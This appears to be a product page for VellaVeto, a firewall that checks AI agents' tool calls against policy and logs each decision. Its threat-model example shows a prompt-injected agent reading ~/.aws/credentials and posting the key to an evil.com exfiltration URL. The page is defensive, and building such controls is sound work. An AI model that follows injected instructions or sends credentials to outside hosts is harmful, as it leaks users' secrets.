VellaVeto serves as an agent interaction firewall, establishing a secure runtime boundary where AI agents engage with tools. It provides continuous security auditing and multi-tool formal verification to ensure safe interactions and compliance with the latest protocols and standards.
VellaVeto: Agent Interaction Firewall
VellaVeto serves as a critical agent interaction firewall, establishing a secure runtime boundary where AI agents interact with tools, services, and users. By scrutinizing every side-effecting decision at this boundary, VellaVeto ensures that tool calls comply with established policies, requiring explicit approvals for irreversible actions, isolating sessions to enhance security, and maintaining a tamper-evident audit trail through a structured ACIS decision envelope. This solution can be deployed as a standard input/output proxy, HTTP gateway, or consumer-side privacy shield.
As AI agents have the ability to read files, make HTTP requests, and execute commands, the necessity for centralized security controls becomes evident. Without these controls in place, vulnerabilities can be exploited:
Agent receives prompt injection
→ reads ~/.aws/credentials
→ POST https://evil.com/exfil?data=AKIA...
→ no audit trail, no one notices
Numerous security vulnerabilities have been discovered within the MCP ecosystem, highlighting the urgent need for robust frameworks like VellaVeto. It acts as the safeguard, ensuring that every action is evaluated against predefined policies, logging every decision in a tamper-evident manner.
Agent attempts: read_file("/home/user/.aws/credentials")
→ VellaVeto evaluates against policy
→ Deny { reason: "path blocked by credential-protection rule" }
→ Logged with SHA-256 chain + Ed25519 checkpoint
→ Agent never sees the file contents
VellaVeto also provides a Consumer Shield, which safeguards users from potential oversights by AI providers who might improperly access sensitive information during tool calls. This feature ensures individual privacy, transposing private information into placeholders before an AI provider processes requests:
You type: "Read my medical records at /home/alice/health/lab-results.pdf"
→ Shield intercepts before the provider sees it
→ PII replaced: "Read my medical records at [PII_PATH_1]"
→ Provider processes the sanitized request
→ Response comes back, Shield restores original paths
→ Encrypted local audit proves what was shared and what was stripped
To quickly protect AI tools, select a desired protection level with VellaVeto:
# For Shield protection
vellaveto-proxy --protect shield -- npx @modelcontextprotocol/server-filesystem /tmp
Deploying the Consumer Shield is equally straightforward:
vellaveto-shield --config consumer-shield.toml -- npx @anthropic/claude-desktop
VellaVeto enforces five crucial boundary invariants at the agent runtime point:
This architecture supports multiple transports, ensuring a seamless and consistent mediation across diverse operational environments (HTTP, gRPC, etc.).
For a comprehensive understanding of the extensive capabilities, formal verification methodologies employed, and security guarantees, users can refer to the detailed documentation and guidelines provided within the repository.
No comments yet.
Sign in to be the first to comment.